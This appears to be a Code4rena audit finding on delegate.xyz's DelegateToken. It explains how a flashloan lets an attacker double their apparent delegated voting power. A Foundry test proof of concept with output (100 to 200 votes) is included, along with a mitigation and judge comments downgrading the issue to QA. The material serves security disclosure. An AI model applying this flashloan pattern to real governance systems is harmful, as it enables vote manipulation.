Platform: Code4rena
Start Date: 05/09/2023
Pot Size: $50,000 USDC
Total HM: 2
Participants: 16
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 2
Id: 284
League: ETH
Rank: 14/16
Findings: 1
Award: $40.13
π Selected for report: 0
π Solo Findings: 0
40.1294 USDC - $40.13
an attacker can show up as having double the amount of ERC20/ERC1155 to an application that relies on delegate.xyz delegates + wallet balance. This can be a critical problem for many type of systems, for example a governance protocol that allows users to delegate their gov Token through delegate.xyz and to determine the voting power of a specific user it will count the gov tokens in his wallet + all the tokens delegated. Notice also that this exploit can not be mitigated from the application that integrates with delegate.xyz as there is no way for an external contract to determine if a specific user's wallet balance is coming from a flashloan or not, thus this should be categorized as a fundamental flaw of the protocol.
the exploit is possible because during a flashloan, the delegation is still considered valid so an attacker can effectively "double spend" his delegation.
as a PoC I will expand the previous example of a governance protocol, to run it you can place this in the /test/DelegateToken.t.sol
test.
import "forge-std/console.sol"; import {IDelegateFlashloan} from "src/interfaces/IDelegateFlashloan.sol"; import {IDelegateRegistry as IDelegateRegistry} from "lib/delegate-registry/src/IDelegateRegistry.sol"; //...... function testExploit20() public { address tokenOwner = makeAddr("tokenOwner"); address exploiter = address(this); uint256 amount = 100; mockERC20.mint(tokenOwner, amount); // this next mint simulates the fact that DelegationToken will have other tokens in its balance due to other people also depositing in the escrow mockERC20.mint(address(dt), amount); vm.prank(tokenOwner); mockERC20.approve(address(dt), amount); vm.prank(tokenOwner); uint256 delegateID1 = dt.create( DelegateTokenStructs.DelegateInfo(tokenOwner, IDelegateRegistry.DelegationType.ERC20, exploiter, amount, address(mockERC20), 0, "", block.timestamp + 10 days), SALT ); console.log("voting power BEFORE flashloan: %s", governanceCheckVotingPower(exploiter)); dt.flashloan(DelegateTokenStructs.FlashInfo(exploiter, exploiter, IDelegateRegistry.DelegationType.ERC20, address(mockERC20), 0, amount, "")); } function onFlashloan(address initiator, DelegateTokenStructs.FlashInfo calldata flashInfo) external payable returns (bytes32) { address exploiter = address(this); uint256 votingPower = governanceCheckVotingPower(exploiter); console.log("voting power AFTER flashloan: %s", votingPower); mockERC20.approve(address(dt), flashInfo.amount); return IDelegateFlashloan.onFlashloan.selector; } // this part here simulates what an external protocol (ex. a Governance protocol) would see from the exploiter function governanceCheckVotingPower(address voter) public returns (uint256) { IDelegateRegistry.Delegation[] memory delegations = registry.getIncomingDelegations(voter); uint256 totalDelegateAmount = 0; for (uint256 i = 0; i < delegations.length; i++) { IDelegateRegistry.Delegation memory delegation = delegations[i]; if (delegation.type_ == IDelegateRegistry.DelegationType.ERC20 && delegation.contract_ == address(mockERC20)) { if (mockERC20.balanceOf(delegation.from) < delegation.amount) { continue; } totalDelegateAmount += delegation.amount; } } return totalDelegateAmount + mockERC20.balanceOf(voter); }
output:
voting power BEFORE flashloan: 100 voting power AFTER flashloan: 200
manual review
while a user is calling a flashloan, temporarily revoke his original delegation until the flashloan is not finished
Other
#0 - c4-sponsor
2023-09-20T23:12:55Z
0xfoobar (sponsor) acknowledged
#1 - 0xfoobar
2023-09-20T23:13:14Z
Noted, this is not a bug in DelegateToken but will be have to be accounted for in integrating protocols
#2 - c4-sponsor
2023-09-20T23:13:23Z
0xfoobar marked the issue as disagree with severity
#3 - c4-judge
2023-10-01T15:02:39Z
GalloDaSballo changed the severity to QA (Quality Assurance)
#4 - GalloDaSballo
2023-10-01T15:03:00Z
Agree with both sides, downgrading to QA Low Severity as a Gotcha
#5 - c4-judge
2023-10-02T11:52:20Z
GalloDaSballo marked the issue as grade-b
#6 - GalloDaSballo
2023-10-02T11:52:25Z
Manually awarding B as notable gotcha to integrators